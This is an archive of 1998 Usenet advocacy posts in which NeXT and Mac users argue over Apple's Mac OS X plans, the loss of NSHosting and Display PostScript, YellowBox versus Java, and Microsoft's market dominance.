dock won't be there unless someone writes a replacement, menus will
probably not be changeable though they will be tear-off), but perhaps
close enough to satisfy you.
> If not, will Apple continue to sell copies of nextstep or is
> nextstep doomed?
I figure they'll stop selling it at some point.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Fri, 22 May 1998 10:25:24 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2205981025240001@dante.eng.uci.edu>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <6jplnc$kiv$3@brownfox.svs.com> <maury-1805981757210001@ts32-15.tor.istar.ca> <3563c4fc.0@news.camtech.net.au> <rmcassid-2105981009430001@dante.eng.uci.edu> <3564c8e8.0@news.camtech.net.au>
In article <3564c8e8.0@news.camtech.net.au>, "timothyp@tne.net.au"
<timothyp@tne.net.au> wrote:
>How would you
>compare Omniwebs speed on dr2 to that of IE or Navigator on an equivalent (or
>roughly equivalent PC)?
I don't know. I'll have to try and find a PC. :-)
Next time I go over to the computer store I'll do a seat-of-the-pants
comparison. They have some newish Dell thing running NT and IE over there,
maybe Netscape as well. Should have similar network performance to what I
have here.
-Bob Cassidy
Sender: darin@cn1.connectnet.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
References: <6k217h$5o7$1@cronkite.cygnus.com> <B18A96F7-13AEA6@204.31.112.105>
From: Darin Johnson <darin@usa.net.removethis>
Message-ID: <tvylnrugo2e.fsf@cn1.connectnet.com>
Date: Fri, 22 May 1998 18:25:43 GMT
NNTP-Posting-Date: Fri, 22 May 1998 11:25:43 PDT
"Phil Brewster" <pjbrew@nospam.com> writes:
> So instead of stories about walking for miles in the snow to a one-room
> schoolhouse, will we be telling our grandchildren, 'You think _you_ have it
> tough! -- Why, in my day, we actually had to type in the appropriate
> commands at a C:\ prompt before the computer would do
> anything!'.... ;-)
It's happening already! The San Jose Mercury News, while being part
of the anti-Microsoft coalition on one hand, is still pro-Windows deep
down. (it's never been all that great computing wise, pandering to
the computer novice instead of all the computer professionals in the
area) So in the midst of all the reporting on the Microsoft suits, one
columnist decides to write about "Microsoft may be bad, but look how
good Windows is".
Partway down the column was, paraphrased from memory: "you used to
have to give cryptic commands, such as 'copy c:\file.txt d:\file.txt'"!
:-) :-)
(The column was saying how Windows is an improvement over that CLI,
but it was never noted that that CLI was and is one of the least
powerful varieties in existence.)
Hah, let's see windows do this equivalent, which I did this week,
directly at the command line:
for f in *
do
if [ -d $f ]; then
cd $f
diff -c . /x/y/z/master/$f
cd ..
fi
done | more
--
Darin Johnson
darin@usa.net.delete_me
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: NSHosting and MacOS X
Date: 22 May 1998 14:27:41 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k4g2t$8u6$1@crib.bevc.blacksburg.va.us>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com> <01bd80c6$be64d100$a4e82080@mizuki.HIP.Berkeley.EDU> <6k4d8f$ge0$1@news.cs.tu-berlin.de>
In article <6k4d8f$ge0$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de (Marcel Weiher) wrote:
> Re-read Mike's post.
>
> He was very clear in separating
>
> (a) NSHost capability, the current protocol which requires DPS
> (b) remote display capability, which does not
Of course, (b) is practically useless, IMHO, if it requires blasting
bitmaps over a network. I guess it would be nice to have for emergencies,
when you really need it you really need it, but probably not something
you want to use day-in and day-out (especially if a bunch of people want
to use it, all on the same subnet).
I'm wondering what Apple could do to leave hooks for NSHosting..
I'll assume for the moment that you want to just NSHost Yellow apps that
stick to the PS (and PDF?) functions and the AppKit APIs that use them.
Perhaps they could just have an if() statement at the top of the
implementation of each of those functions that, if some global flag is
true, would jump into some vector of replacement functions that could
insert themselves into a network command stream. (You could even do
some tricky compiler stuff too so that the replacement function would
use the same stack as the function that called it so you don't have to
push everything on again immediately, but it's dangerous.)
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: BW: Kiss of Death
Date: Fri, 22 May 1998 10:32:17 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2205981032170001@dante.eng.uci.edu>
References: <y_291.1281$Kx3.1887112@news.rdc1.sdca.home.com>
In article <y_291.1281$Kx3.1887112@news.rdc1.sdca.home.com>,
rr6013@yahoo.com wrote:
>So when I see Scott's Stepwise.com site headlining BusinessWeek, I took a deep
>breath... Oops. It looks like they've chosen to spin the Apple comeback story
>as 1984 over again. Well true to form they've found the negative spin on
>Apple.
If it makes you feel any better, the Forbes article from Thursday is worse
even going so far as to make the claim that 'anybody buying a Macintosh is
a fool'.
-Bob Cassidy
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: News on WebObjects 4.0?
Date: 22 May 1998 14:31:18 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k4g9m$8up$1@crib.bevc.blacksburg.va.us>
References: <6k4cn4$71h$2@news.idiom.com>
In article <6k4cn4$71h$2@news.idiom.com>, jcr.remove@this.phrase.idiom.com wrote:
> Would someone please give us a quick run-down of what mind-boggling
> improvements WebObjects 4 brings to the table?
Brief summary at:
http://www.zdnet.com/macweek/1220/in_webobjects.html
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Java is VHS, YellowBox is Betamax
Date: 22 May 1998 14:33:06 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k4gd2$8v9$1@crib.bevc.blacksburg.va.us>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <nospampischke-1905982350420001@ts7-32t-16.idirect.com> <35626D26.B7616464@alum.mit.edu> <6k4e9i$420$1@nnrp1.dejanews.com>
In article <6k4e9i$420$1@nnrp1.dejanews.com>, dave@prim.demon.co.uk wrote:
> But this access to Yellow Box from Java puzzles me. Why would anyone want to
> do that? Given the choice between writing to the standard (and very
> extensive) API's in Java 1.2, why would any developers want to go and write
> for the non-portable API's that Yellow Box provides?
Because the Yellow Box APIs are still better and more mature than the
"very extensive" Java APIs.
> The old AppKit API's are going to fade away. You can do all that and more in
> Java 1.2,
No, you can't. Especially with the newer stuff Apple is adding.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Fri, 22 May 1998 10:41:04 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2205981041040001@dante.eng.uci.edu>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <aa829-2005982020580001@port27.dialb2.gain-ny.com> <6k3258$md9$1@geraldo.cc.utexas.edu>
In article <6k3258$md9$1@geraldo.cc.utexas.edu>,
kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
>: Use a printer that directly supports PDF? They mentioned diring the OS X
>: graphics session that such printers exist, and presumably will become more
>: common with OS X's arrival.
>
>Could you point me to such printers? I'd be very interested!
Its part of the PS Level 3 spec. Not all PS Level 3 printers implement it,
however (like Apple's own 8500), so you need to poke around. There should
be some out there by now.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: Fri, 22 May 1998 10:43:51 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2205981043510001@dante.eng.uci.edu>
References: <6jq3hf$122c1@odie.mcleod.net> <6k3s7n$mba$1@ndnws01.ne.highway1.com>
In article <6k3s7n$mba$1@ndnws01.ne.highway1.com>, sschuldt@mediaone.net wrote:
>I wish they would just sell it for whatever margin they make on a G3. Let's
>see, 25% of ~$1800 = $450; a little higher than we might like but just about
>par for a server OS on intel (actually that is the exact price of Solaris
>x86). That should keep the profitable quarters going while still allowing
>Apple to continue its hardware hobby and make a few glowing, translucent,
>quad-processor G4 boxes on the side for the true believers.
Actually, they'd need to shoot for the price of Rhapsody/PPC + $450... And
that is to start with. The margins on the bigger G3/300 UW system is
probably closer to $800.
-Bob Cassidy
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: NSHosting and MacOS X
Date: 22 May 1998 18:43:35 GMT
Organization: University of California at San Diego
Message-ID: <slrn6mbhqm.894.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com> <01bd80c6$be64d100$a4e82080@mizuki.HIP.Berkeley.EDU> <6k4d8f$ge0$1@news.cs.tu-berlin.de> <6k4g2t$8u6$1@crib.bevc.blacksburg.va.us>
:
:> Re-read Mike's post.
:>
:> He was very clear in separating
:>
:> (a) NSHost capability, the current protocol which requires DPS
:> (b) remote display capability, which does not
:
:Of course, (b) is practically useless, IMHO, if it requires blasting
:bitmaps over a network. I guess it would be nice to have for emergencies,
:when you really need it you really need it, but probably not something
:you want to use day-in and day-out (especially if a bunch of people want
:to use it, all on the same subnet).
:I'm wondering what Apple could do to leave hooks for NSHosting..
:I'll assume for the moment that you want to just NSHost Yellow apps that
:stick to the PS (and PDF?) functions and the AppKit APIs that use them.
Probably so. Unless they are able to redirect Quickdraw calls in the
carbon layer too. I'm guessing that the QD protocol and concepts are not
particularly suitable for good remote display.
:Perhaps they could just have an if() statement at the top of the
:implementation of each of those functions that, if some global flag is
:true, would jump into some vector of replacement functions that could
:insert themselves into a network command stream. (You could even do
:some tricky compiler stuff too so that the replacement function would
:use the same stack as the function that called it so you don't have to
:push everything on again immediately, but it's dangerous.)
'if'?? Surely they would dispatch via standard object mechanisms instead.
Remember that drawing is only half the problem---one must suck input as well
as display configuration from the pipe, as well as dealing with window
manager events.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 22 May 1998 18:59:18 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <6k4hu6$sol$1@geraldo.cc.utexas.edu>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <aa829-2005982020580001@port27.dialb2.gain-ny.com> <6k3258$md9$1@geraldo.cc.utexas.edu> <see-below-2205980154480001@209.24.240.67>
Matthew Vaughan (see-below@not-my-address.com) wrote:
: In article <6k3258$md9$1@geraldo.cc.utexas.edu>,
: kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
: > Charlie Mingo (aa829@ccn.cs.dal.ca) wrote:
: >
: > : What does licensing have to do with remote hosting? You still have to
: > : license the back end on each machine, even if you use a single machine as
: > : the front end for all of them. Indeed, in programs that sell front and
: > : back-ends seperately (eg, Mathematica) it is the back-end that is most of
: > : the cost.
: >
: > If there is an expensive app that is not used all the time, then you can
: > buy one copy and have multiple users share it. MS *greatly* discourages this
: > practice. It's very cost efficient, even if each copy costs more.
: Interesting. We do this _all the time_ with most applications, including
: Word, Excel, FileMaker, Photoshop, Vellum, etc. (using software from
: Sassafras to "key" the applications - works on both Mac and Windows). I
: don't know exactly how the licenses are bought, but we don't normally buy
: 100 boxed versions of a program!
If your local machine is fast enough and you have extra money to blow on
key management SW, then this is probably a good idea. However, perhaps you've
got slow clients and you want to run a CPU hogging process on a very fast
CPU server machine. That way, you don't have to upgrade *every* client to
be fast enough to run the software. Office productivity *should* be on
the client, but back end number crunching should be done on a server but
controlled locally. Remote display is one of the easiest and best ways to
do that. Also, perhaps the software you want runs under a different OS than
your client machine? Then how will Sassafras help?
......................................................................
: Kurt D. Bollacker University of Texas at Austin :
: kdb@pine.ece.utexas.edu P.O. Box 8566, Austin, TX 78713 :
:....................................................................:
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NSHosting and MacOS X
Date: 22 May 1998 18:11:40 GMT
Organization: Rockwell International
Message-ID: <6k4f4s$loc1@onews.collins.rockwell.com>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com> <Et2Lqx.A2A@micmac.com>
<6jl9if$jfl$1@crib.bevc.blacksburg.va.us> <6jn5ai$gsi5@odie.mcleod.net>
<6k4diu$goe$1@news.cs.tu-berlin.de>
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Cc: marcel@cs.tu-berlin.de
In <6k4diu$goe$1@news.cs.tu-berlin.de> Marcel Weiher wrote:
> "Michelle L. Buck" <buck.erik@mcleod.net> writes:
>
>
> >The reason that NSHosting will be gone in MacOS X is very simple.
>
> Yes.
>
> The reason *NS*Hosting will not be provided is that MacOS is not
> OPENSTEP or NEXTSTEP. It does not include a Postscript interpreter.
> The specific protocols for NSHost/NXHost include the Postscript
> capability, and it would certainly be necessary for NSHosting current
> OPENSTEP/NEXTSTEP apps on a MacOS X system, which won't be possible.
>
> Remote display capability is *not* impossible with the new imaging
> system, and from what Mike said might even be implemented by the
> time MacOS X ships.
>
> I thought his post was very clear on all this.
>
> Marcel
>
Remote display with some new graphics API is not impossible. Unfortunatly,
if it is not well defined from the start, it will become impractical.
Comments suggesting that remote display and EPS support are third party
opportunities ring hollow. As Mr.. Jobs used to say often, unless
developers can count on support and availability, they will not use a
feature. This was the reasoning behind "doing color right" at NeXT and
Display Postscript services in the first place.
The new display server in MacOS-X will understand bitmaps of
"regions" only. It will have no rendering capability and will receive no
vector graphics commands.
I understand the elegance of a very simple window "region" server. However,
without an assumed and pre-defined client/server vector graphics API,
client/server/remote device independent vector graphics are not feasible.
Without a stream of vector drawing commands available for transmission
between
processes or across a network the only alternative is to send bitmaps across
the network. Then of course all device independence is lost, the resolution
and depth of the source and target systems may differ, and all kinds of bad
things happen.
Hypothetically, Apple could later introduce a PDO remote display feature OR
provide _hooks_ for intercepting all of the YellowBox graphics commands in
their vector format. Unfortunately, that will have a very unsatisfactory
result. The current Display Postscript system does wonderful things to
minimize communication between client and server. Commands are cached and
sent lazily. Compact binary formats are used. Return values from the
server that might cause a client to block waiting for the reply are almost
non-existent. Even still, a fair amount of communication overhead is
optimized out by developers. PSWraps, user paths, type III fonts, etc are
all used.
Without a client/server graphics system in place from the start,
applications will not be built to work properly in a client/server model
that is later introduced. It is just human nature that the extra work
required to be efficient over a network will not be done without a clear and
immediate benefit. Furthermore, developers will not even know what can or
should be done without a well planned and documented strategy up front.
From: "Steve Shaw" <sbshaws@kc-primary.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com>
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 22 May 1998 14:16:52 -0500
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charset="iso-8859-1"
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Organization: Primary Network. http://www.primary.net
T. Max Devlin wrote in message <35cca498.358890969@news.supernews.com>...
>Is bundling wrong, is a company required to ask government permission to
>bundle products? Normally, no, but in this case Microsoft signed a
>legal contract stating that it would not do this very thing. Microsoft
>is allowed to "maintain" this monopoly in PC OSs, so long as they do not
>try to use it to monopolize other markets. The level to which they (and
>those who defend them) disregard this issue is astounding.
>--
Perhaps Microsoft, conditioned by their customer's willingness to swallow MS
claims wholesale, expected the rest of the world to do the same.
Steve Shaw
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 22 May 1998 19:18:29 GMT
Organization: Idiom Communications
Message-ID: <6k4j25$jkd$1@news.idiom.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com>
<356511FD.BD193ABF@nstar.n <6k4ch9$71h$1@news.idiom.com> <6k4eg8$8q0$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
Nathan Urban may or may not have said:
-> In article <6k4ch9$71h$1@news.idiom.com>, jcr.remove@this.phrase.idiom.com
wrote:
->
-> > FYI: The original NeXTSTEP/Intel port was done for well under $4 mil.
-> > @$500/copy, they'd need to sell about 8,000 copies of the developer
system to
-> > pay for the port. (Plus whatever marketing/overhead applies.)
->
-> > Now, if they'd license *me* to do this, I'd put it out for HP-UX, DEC
UNIX,
-> > Linux and Slowlaris within a year.
->
-> Have you asked? If there were third parties willing and _able_ to devote
-> the time/money/resources/effort to doing a YB port to a new platform,
-> maybe Apple would let them. Probably unlikely, but worth asking.
Remember Quix? They got MacOS going on the PREP machines, and then Apple
wouldn't let them re-sell it. Of course, this was before the NeXT
takeover...
Basically, I wouldn't start on such a project without ensuring that Apple
couldn't put a bullet in its head if they changed their minds.
-jcr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 22 May 1998 19:27:02 GMT
Organization: Idiom Communications
Message-ID: <6k4ji6$jkd$2@news.idiom.com>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104>
<joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104>
<6jpu6k$rps$1@crib.bevc.blacksburg.va.us> <see-below-1805981711480001@209.24.240.36>
<ericb-2005981944160001@132.236.171.104> <aa829-2105981528170001@port24.dialb2.gain-ny.com>
<joe.ragosta-2205980755590001@wil135.dol.net> <aa829-2205981411570001@port29.dialb2.gain-ny.com>
Mime-Version: 1.0
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Cc: aa829@ccn.cs.dal.ca
Charlie Mingo may or may not have said:
-> In article <joe.ragosta-2205980755590001@wil135.dol.net>,
-> joe.ragosta@dol.net (Joe Ragosta) wrote:
->
-> > Unfortunately, this was later negated by statements from Steve Jobs.
->
-> Well, perhaps in your opinion. The WWDC announcements were explicit and
-> from the actual people who are in charge of doing the coding.
->
-> Steve delivered a "Rhapsody's Dead" keynote that subsequently turned out
-> not to accord much with the actual plans for OS-X. He's playing some sort
-> of wierd head-game here.
He pulled off a brilliant spin manuver. What was announced at WWDC is that
MacOS as we all know it has been killed, and that a *subset* of its API will
be available in Rhapsody 2.0 (AKA MacOS X.)
Now, by saying it the way he did, instead of the Mac developers getting up in
arms about losing 2000 of the toolbox calls their current code depends on,
they get to say "Ha, ha! Rhapsody's dead, we told you so!"
When Steve talks about "folding features of Rhapsody" into MacOS X, and then
we find out upon a cursory examination that those features are basically the
WHOLE THING except for the ability to use Postscrip binary object sequences
(PSWraps), well....
I'm not feeling screwed, but I can see how some of the Mac developers might.
-jcr
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 02:30:08 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6k4kil$a9g3@odie.mcleod.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM> <joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM> <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net> <35651ADA.FEB13B57@nstar.net>
Michael J. Peck wrote in message <35651ADA.FEB13B57@nstar.net>...
>Let me give you a quick example of what I mean. At one company with whom
>I recently spoke, they have developed a high-availability middleware
>layer for telecommunications. They run it on Solaris for development and
>testing, but they deploy it on HPUX. Why? Hewlett-Packard is the only
>solution that currently has an SS7 stack for their Service Control Point
>network nodes to use.
>
[Delete info on sole source HPUX feature]
>This situation is *extremely* common. Companies don't always get to
>choose their solution, a lot of time it's forced on them for one reason
>or another. What's their solution? Port to as many platforms as possible
>so that you have the best possible chance of being right when the other
>shoe drops.
>
>See what I'm saying? You can't just say, "I'm going to stick with
>platform X and make that my baby and put all my eggs in that basket."
>Something's going to come along and make it impossible to stick to your
>strategy: your vendor will go out of business (SGI) or your vendor will
>be late with support for a critical technology (the Java fiasco) or your
>vendor will be bought by competition and move in a different strategic
>direction (Digital Equipment). The *only* way to be safe is to have a
>cross-platform solution, and to do that most companies simply rewrite
>their software (and rewrite and rewrite and rewrite).
>
[Deleted YellowBox endorsement ]
>MJP
The one platform that almost all companies can safely but all their eggs in
is Wintel. Ok, if you have some esoteric embedded system need or if you
build telephone switches, you may need features impossible to get with
Wintel. The other 99.99% of the people and companies are busy getting rid
of every non-wintel machine and hiring NT administrators as fast as they can
be (half) trained.
If you need extreme 3d, buy from SGI or Evans & Southerland (sp?)
If you need 24/7 operation, buy IBM, HP, Sun servers and really really pay a
lot in total cost of ownership.
If you need embedded controllers, by Dec Alpha single board computers
running VxWorks.
If you want games, productivity software, wide variety of hardware options,
compatibility with everyone you know or work with, small up-front
investment, the widest range of software options in all categories, and the
approval of your boss (the CEO), buy Wintel!
Isn't that depressing ? The war is over. SJ is correct, Microsoft won. We
are all doomed to a software dark ages for at least 10 years. Get over it
or quit the business. I haven't decided which I will do yet.
The only people the iMacs or any other Apple offering will appeal to are
people who already own a Mac. Only a fraction of those people will buy
Apple again. Apple may make some profits selling upgrades to the loyal
customer base for a while, but the writing is on the wall. If I were SJ, I
would get out while I am still regarded as a hero.
Look at the signs. Schools are dumping Mac as fast as they can. There is
basically no widely accepted desktop publishing application that is not
available for Wintel and often Wintel first. Apple is not a credible server
company. Cool technology like QuickTime and WebObjects is on Wintel.
WebObjects is Wintel FIRST at the moment. Unless you already have a Mac and
a lot of mac software, there is no reason to buy anything from Apple. Even
if PPC is 5x faster that Wintel, it is not faster enough to overcome market
pressure and trends. People will just wait for the Merced chimera. And
even if you have a Mac, there are all sorts of good compelling reasons to
switch to Wintel (Like your boss will fire you if you ever buy another Mac).
Nobody ever got fired for buying Wintel. At many companies, buying Apple is
sufficient reason to fire someone. Why is that ? (Just look at the history)
My local school bard with 12000 students recently voted to replace all Macs
with Wintel.
Intel has convinced consumers that Merced will be awesome (I don't know if
it will be or not).
The few compelling advantages of Openstep such as Display Postscript and a
superior GUI are now gone.
YellowBox is awesome, but I personally encounter entrenched disbelief.
Developer have heard it all before and they are unwilling to believe in
cross platform again even though it is real now.
Apple purchased Next 5 to 10 years too late. Every feature of MacOS-X and
more could have been shipped in 1990 before Windows really took off.
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: 10 years of software dark ages
Date: Fri, 22 May 1998 02:37:11 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6k4kip$a9g4@odie.mcleod.net>
Michael J. Peck wrote in message <35651ADA.FEB13B57@nstar.net>...
>Let me give you a quick example of what I mean. At one company with whom
>I recently spoke, they have developed a high-availability middleware
>layer for telecommunications. They run it on Solaris for development and
>testing, but they deploy it on HPUX. Why? Hewlett-Packard is the only
>solution that currently has an SS7 stack for their Service Control Point
>network nodes to use.
>
[Delete info on sole source HPUX feature]
>This situation is *extremely* common. Companies don't always get to
>choose their solution, a lot of time it's forced on them for one reason
>or another. What's their solution? Port to as many platforms as possible
>so that you have the best possible chance of being right when the other
>shoe drops.
>
>See what I'm saying? You can't just say, "I'm going to stick with
>platform X and make that my baby and put all my eggs in that basket."
>Something's going to come along and make it impossible to stick to your
>strategy: your vendor will go out of business (SGI) or your vendor will
>be late with support for a critical technology (the Java fiasco) or your
>vendor will be bought by competition and move in a different strategic
>direction (Digital Equipment). The *only* way to be safe is to have a
>cross-platform solution, and to do that most companies simply rewrite
>their software (and rewrite and rewrite and rewrite).
>
[Deleted YellowBox endorsement ]
>MJP
The one platform that almost all companies can safely but all their eggs in
is Wintel. Ok, if you have some esoteric embedded system need or if you
build telephone switches, you may need features impossible to get with
Wintel. The other 99.99% of the people and companies are busy getting rid
of every non-wintel machine and hiring NT administrators as fast as they can
be (half) trained.
If you need extreme 3d, buy from SGI or Evans & Southerland (sp?)
If you need 24/7 operation, buy IBM, HP, Sun servers and really really pay a
lot in total cost of ownership.
If you need embedded controllers, by Dec Alpha single board computers
running VxWorks.
If you want games, productivity software, wide variety of hardware options,
compatibility with everyone you know or work with, small up-front
investment, the widest range of software options in all categories, and the
approval of your boss (the CEO), buy Wintel!
Isn't that depressing ? The war is over. SJ is correct, Microsoft won. We
are all doomed to a software dark ages for at least 10 years. Get over it
or quit the business. I haven't decided which I will do yet.
The only people the iMacs or any other Apple offering will appeal to are
people who already own a Mac. Only a fraction of those people will buy
Apple again. Apple may make some profits selling upgrades to the loyal
customer base for a while, but the writing is on the wall. If I were SJ, I
would get out while I am still regarded as a hero.
Look at the signs. Schools are dumping Mac as fast as they can. There is
basically no widely accepted desktop publishing application that is not
available for Wintel and often Wintel first. Apple is not a credible server
company. There is no place within 2 hours of my town of 120,000 people
where I can buy a Mac retail. Cool technology like QuickTime and WebObjects
is on Wintel.
WebObjects is Wintel FIRST at the moment. Unless you already have a Mac and
a lot of mac software, there is no reason to buy anything from Apple. Even
if PPC is 5x faster that Wintel, it is not faster enough to overcome market
pressure and trends. People will just wait for the Merced chimera. And
even if you have a Mac, there are all sorts of good compelling reasons to
switch to Wintel (Like your boss will fire you if you ever buy another Mac).
Nobody ever got fired for buying Wintel. At many companies, buying Apple is
sufficient reason to fire someone. Why is that ? (Just look at the history)
My local school bard with 12000 students recently voted to replace all Macs
with Wintel.
Intel has convinced consumers that Merced will be awesome (I don't know if
it will be or not).
The few compelling advantages of Openstep such as Display Postscript and a
superior GUI are now gone.
YellowBox is awesome, but I personally encounter entrenched disbelief.
Developers have heard it all before and they are unwilling to believe in
cross platform again even though it is real now.
Apple purchased Next 5 to 10 years too late. Every feature of MacOS-X and
more could have been shipped in 1990 before Windows really took off.
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 22 May 1998 19:45:36 GMT
Organization: Idiom Communications
Message-ID: <6k4kl0$jkd$3@news.idiom.com>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk>
<6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com>
<6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com>
<6k4a4d$f8a$1@news.cs.tu-berlin.de>
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Content-Transfer-Encoding: 7bit
Cc: marcel@cs.tu-berlin.de
Marcel Weiher may or may not have said:
-[snip]
-> One thing to note:
->
-> With Postscript, it was possible to have your output take advantage of
-> Level 2 (or Level 3) and still work on a Level 1 device (look at
-> Next's procsets). With PDF, you will have to either upgrade your
-> printer or buy a new one.
As Mike Paquette would say:
This turns out not to be the case.
To make a PostScript printer take PDF, you simply send a PDF interpreter to
the printer first. Remember this phrase: "Turing-complete language." It's
not even a very hard program to write, since PDF uses the existing Postscript
imaging model.
-jcr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Java is VHS, YellowBox is Betamax
Date: 22 May 1998 19:53:52 GMT
Organization: Idiom Communications
Message-ID: <6k4l4g$jkd$4@news.idiom.com>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <6jt4ie$vjg$1@crib.bevc.blacksburg.va.us>
<nospampischke-1905982350420001@ts7-32t-16.idirect.com> <35626D26.B7616464@alum.mit.edu>
<6k4e9i$420$1@nnrp1.dejanews.com>
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Cc: dave@prim.demon.co.uk
dave@prim.demon.co.uk may or may not have said:
-> In article <35626D26.B7616464@alum.mit.edu>,
-> Eric Hermanson <eric@alum.mit.edu> wrote:
-> >
-> > I have no problem with Yellow Box continuing to be wrapped in Java,
making the
-> > API's available. But I would hate to see Objective-C go away as a
language in
-> > favor of Java. I think many developers will adopt Obj-C once they are
exposed
-> > to it.
->
-> You better get used to it then 'cos Obj-C is history.
Says you. From where I stand, I see Obj-C in the current GCC, which means
that it's available everywhere.
-> But this access to Yellow Box from Java puzzles me. Why would anyone want
to
-> do that? Given the choice between writing to the standard (and very
-> extensive) API's in Java 1.2, why would any developers want to go and
write
-> for the non-portable API's that Yellow Box provides?
Because the library provided with Java is crap.
-> Steve Jobs has obviously recognized that Java is the future and has
committed
-> Apple to producing the fastest Java VM around. His followers don't seem to
-> have woken up and smelt the coffee though.
